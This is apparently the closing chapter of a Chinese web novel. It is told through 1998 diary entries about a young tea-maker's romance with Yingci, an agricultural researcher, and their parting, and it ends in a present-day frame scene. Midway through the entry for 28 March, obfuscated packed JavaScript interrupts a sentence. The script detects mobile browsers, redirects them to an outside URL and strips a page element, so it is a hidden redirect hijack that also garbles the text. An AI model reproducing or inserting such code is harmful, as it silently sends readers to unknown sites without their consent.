这是我第二次这么深入地和她交流。她说等她培育出了茶树的抗病种,这些茶农就不用再为病虫害而提心吊胆了。到了那时,很多茶农的收入都会大大提高,大家的生活会变得越来越好。 她说这些话时,那双笑眼里有一团光,明亮到夺目。我也情不自禁地说了很多关于我的事情,我的理想,我的经历。她听得很认真,甚至在我说到某个点时,能和我产生共鸣。 我们聊得酣畅淋漓,但不知道为什么,也许是今天太过于晴朗,也有可能是我说了太多话,到了最后,我几乎是有些口干舌燥。 我会把今天珍藏在我的记忆里,因为我已经好久没有与人如此心意相通。 1998年3月19日 今天一切如常,唯一的不平常就是,我意识到了一件事。 我好像喜欢上了盈慈。 唉,我现在心思很乱,想写的东西有很多,但缠缠绕绕又理不出一个头绪,索性先搁笔记到这吧。 1998年3月20日 今天一整天我都心神不宁。每次看到盈慈,我的心跳就不由自主地加快,说话也变得语无伦次。她似乎察觉到了我的异样,中午吃饭时还笑着问我是不是昨晚没睡好。 我支支吾吾地应了几句,赶紧低头吃饭。利民叔和利民婶在一旁聊着茶田的事,没太注意我们。只有盈慈的眼睛时不时落在我身上,带着一点探究,一点笑意,还有她惯常的狡黠,让我更加不知所措。 下午我没去茶田,借口说要整理这几天的学习笔记,一个人躲在房间里。可笔拿在手里,纸上却一个字也写不出来。满脑子都是她的样子,她笑起来的眼睛,她说话时认真的神情,她偶尔流露出的可爱一面…… 有些人,认识一辈子也只是泛泛之交;而有些人,只见一面,就知道她与众不同。 明天开始,还是减少和盈慈的接触吧,我想让自己冷静一下。 1998年3月23日 这几天,我一直有意地和盈慈保持着距离。她大概也感觉到了,话少了很多。这种刻意的安静明明是我想要的,但我却觉得更加别扭和难受。 下午,盈慈找到我,神色比平时严肃了些。她说她需要去后山的一片茶田采集几种特定的病虫害样本,那片区域路不太好走,而且路程较远,她一个人去有点吃力,利民叔又去镇上开会了。她问我能不能陪她一起去。 我犹豫了一下,最后还是答应了。我不能因为一己之私置她的安全于不顾。 1998年3月24日 我和盈慈一早就出发去了后山。路果然很难走,有些地方甚至需要我拉着她才能上去。她的手很软,我握着的时候,心跳如鼓,甚至不敢回头看她的表情。 我们花了整整一个上午的时间,终于找到了她需要的那片茶田和她要找的病害。她非常专注地记录、取样,我就在一旁帮她打着下手,或者在她需要攀爬时扶她一把。工作的间隙,我们聊了很多,关于茶叶的未来,关于她的研究,关于我的想法。那种心意相通的感觉又回来了,甚至比之前更强烈。 我现在还记得后山上的风,清凉、舒服,吹走了这几天一直盘旋在我胸膛里的郁气,那么令人心旷神怡。 可能是这阵山风带给了我勇气,也可能是我不想再做无谓的挣扎,我们并肩走在回去的路上,沉默了一会儿,我终于开口,告诉她,那天她说的话,我想了很久。 她侧头看了我一眼,问我是哪句话。 我现在还记得我的回答。 “关于坚持和寂寞的那句。”我停下脚步,看向她,“你说得对。如果只是因为‘熬’而坚持,那的确失去了意义。但我觉得,如果能找到同行的人,或许……寂寞也就不那么难熬了。” 我看见盈慈微微一怔,随即笑了起来,眼神明亮地看着我。 她问我,廖同志,你这是在邀请我和你同行吗? 我的脸一下子烧了起来,心砰砰直跳,但还是坚定地看着她,告诉她,是。 她没有立刻回答,只是看着我,嘴角带着笑。就在我几乎要绝望的时候,她轻轻点了点头。 “我还以为你要一直憋在心里呢。” 盈慈朝我眨了眨眼,这么说道。 我现在还清清楚楚地记得,那一刻,夕阳落在她带笑的眼睛里,是世界上最珍贵的珠宝。 1998年3月27日 这两天,我和盈慈几乎是形影不离。白天,她去茶田做研究,我就在旁边帮着采茶,或者琢磨我的茉莉花茶窨制工艺。休息的时候,她就跑来跟我分享她的发现,比如哪种害虫有了新的活动规律,或者哪片茶树的抗性似乎特别好。 她讲这些的时候,眼睛发光,神采飞扬。我常常听得入了迷,一半是因为内容,更多是因为她。她说我是她最忠实的听众,比那些不会说话的茶树苗强多了。说完自己就先笑起来。 下午,我试着用新学到的方法窨制了一小批茉莉花茶。盈慈自告奋勇要做我的第一个品鉴师。本来她的表情很严肃,结果茶太烫,她的脸几乎是立刻缩成一团(现在我还能想起来她的表情,只觉得生动可爱)。 最后她评价说:“香是够香了,但好像火候有点急,廖师傅,还得得继续努力呀!” 说是这么说,她却把我那杯试验品都喝完了。 1998年3月28日 今天,盈慈带着我去了她小时候常去玩的一个小山坡。那里能看到整个青龙岭村的茶田,视野极好。 我们并排坐在草地上,她给我指哪里是她家的茶田,哪里是她小时候偷摘茶叶被利民叔追着跑的地方。夕阳把层层叠叠的茶田染成金绿色,风里都是青草和泥土的芬芳。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383340|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着她生动的侧脸,心跳还是会情不自禁地加快。我犹豫了很久,做了一个大胆的举动——凑过去轻轻亲了一下她的脸颊。 她愣了一下,转过头看我,脸一下子红了,却没有躲开,只是嗔怪地瞪了我一眼。然后她飞快地在我嘴唇上啄了一下,接着跳起来跑开,笑着说我“耍流氓”。 我追上去,紧紧握住她的手。我们就牵着手,慢慢走下山,我的心里被幸福填满。 1998年4月3日 这几天的生活美好得有些不真实,我好像一个喝醉了酒的人,几分恍惚,几分喜悦,还有几分不安。 因为我开始思考我们的未来。 1998年4月6日 今天我和盈慈谈了一下未来的打算,她看起来很诧异,因为她从来没想过要离开这里。我知道她说的是对的,她的梦想还没完成,怎么能就这样跟我走。 更何况,我现在还没在茶界立足,她跟着我,少不了要吃苦受罪。 怎么办,我第一次觉得这么焦虑。 1998年4月8日 今天盈慈主动来找了我。 她问我什么时候回去,我如实告诉她,基本就是四月中旬。 她沉默了一会,我能看出她眼里的光在慢慢熄灭,我的心脏好像也被黑暗的绳子缠紧了。 她说,我们可以用书信联系。 我明白了她的意思,但心里还是涌起一股说不上来的感觉,现在想想,大概是心酸和无能为力吧。 我答应了她,甚至笑着和她说,等到她培育出抗病虫害的茶苗,等到我做出更好的茉莉花茶,那时候我们就能彻底在一起了。 她看了我好一会,然后慢慢点了点头。 1998年4月10日 我们心照不宣地珍惜着这段最后的相处时光。 这段时间以来,我们一直没在利民叔和利民婶面前表现出什么,当时是因为没想好该怎么对他们说,现在却是因为没有必要了。 利民叔和利民婶每天忙于茶田里的事情,也没注意到我们两个之间的异常,只当是我们熟悉了彼此,关系变得更好了。 村里来了一个摄影师,全村的人都跑来看。我看着他手指轻轻一按,山水天空就被永远定格在了一刻。我突然有了一个想法。 1998年4月11日 我几乎是花光了口袋里所有的钱,让那位摄影师为我和盈慈拍一张合照。 我想要为我们留下一点相爱的证据,哪怕只是让我在以后的日子里再看看盈慈的脸也行。 雪亮的光一闪,我的眼眶热了起来。 下午的时候,那位摄影师把冲洗放大好的照片交到了我手上。 那是一张黑白照片,我和盈慈并肩站在大片的茶田前,脸上充满着幸福的神情。 我对那位摄影师千恩万谢,回去后,我把它夹在这本日记的封套里。 1998年4月13日 时间过得真快,明天就是我离开青龙岭村的日子了。 这一趟我收获了太多,利民叔一家无微不至的关爱、那位老师傅制作茉莉花茶的技艺,还有一段我永远不会忘记的感情。 利民叔去邻县参加一个农业技术交流会,要后天才能回来。利民婶不放心他一个人去,也跟着一起去了。家里忽然就只剩下我和盈慈。 利民叔临走的时候还觉得很可惜,不能亲自和我告别。我心里很难过,我告诉利民叔,自己很感激这么多天他和利民婶对我的照顾。 先写到这吧,盈慈亲自下厨炒了两个小菜,说是要为我践行。这可能是我们最后一次同桌吃饭了,剩下的话明天再写也不迟。 1998年4月14日 为什么会这样,为什么会这样,为什么会这样? 明明只是几碗米酒,事情怎么会变成这样?!!都怪我们沉迷于聊天,不知不觉就喝多了,我,我—— 她笑得那么好看,眼睛里的光几乎要把我吸进去。不知道是谁先靠近的,我只记得空气中弥漫着米酒的甜香和她身上淡淡的茶香…… 甚至今天早上我还是被盈慈叫醒的,她催我洗漱收拾,不然就赶不上车子了。 我慌极了,有那么多话想和她说,她明明也是慌乱的,但还是强装着镇定,让我们以后再写信联系。 我,我对不起盈慈,我简直是个畜生! 我坐上了长途汽车,凌晨的薄雾模糊了盈慈的脸。我眼睁睁看着她不断朝我挥手,然后那道单薄的身影越来越小,最后彻底消散在了雾气中。 我的心好像被人剜去了一大块,血淋淋地疼。 …… 脆弱泛黄的纸张上,一处泪痕依旧经年可见。有人的指尖轻轻划过那处,似乎想要通过那早已干涸的痛苦,回到那一段凌乱而幸福的岁月。 一张照片被重新放进了日记的封套里,仿佛通过这样,就能让一切不圆满变得圆满。 陈旧不堪的日记本被人轻轻合上,一声叹息散逸在空气里,很快就被茶楼下面的人声所掩盖了。 过去种种,不过是惘然一梦。当年种下的因,几经离散飘零,兜兜转转长成了后来一切的果。说到底,还是因缘际会造化弄人,不必,也无需再去追究了。 茶室的门被人推开,熟悉的声音聚拢起飘荡的思绪:“今晚想吃什么?” 楚韫把那本日记放在了桌上,回头一笑:“只要是你做的,都可以。” 傅砚珩也笑了起来:“那就走吧。” 夕阳晚照,灿烂的余晖落在那本日记的封皮上。一个故事被珍藏进了旧日的文字中,却有一段新的旅程细水长流地蜿蜒向远方。 ——全文完——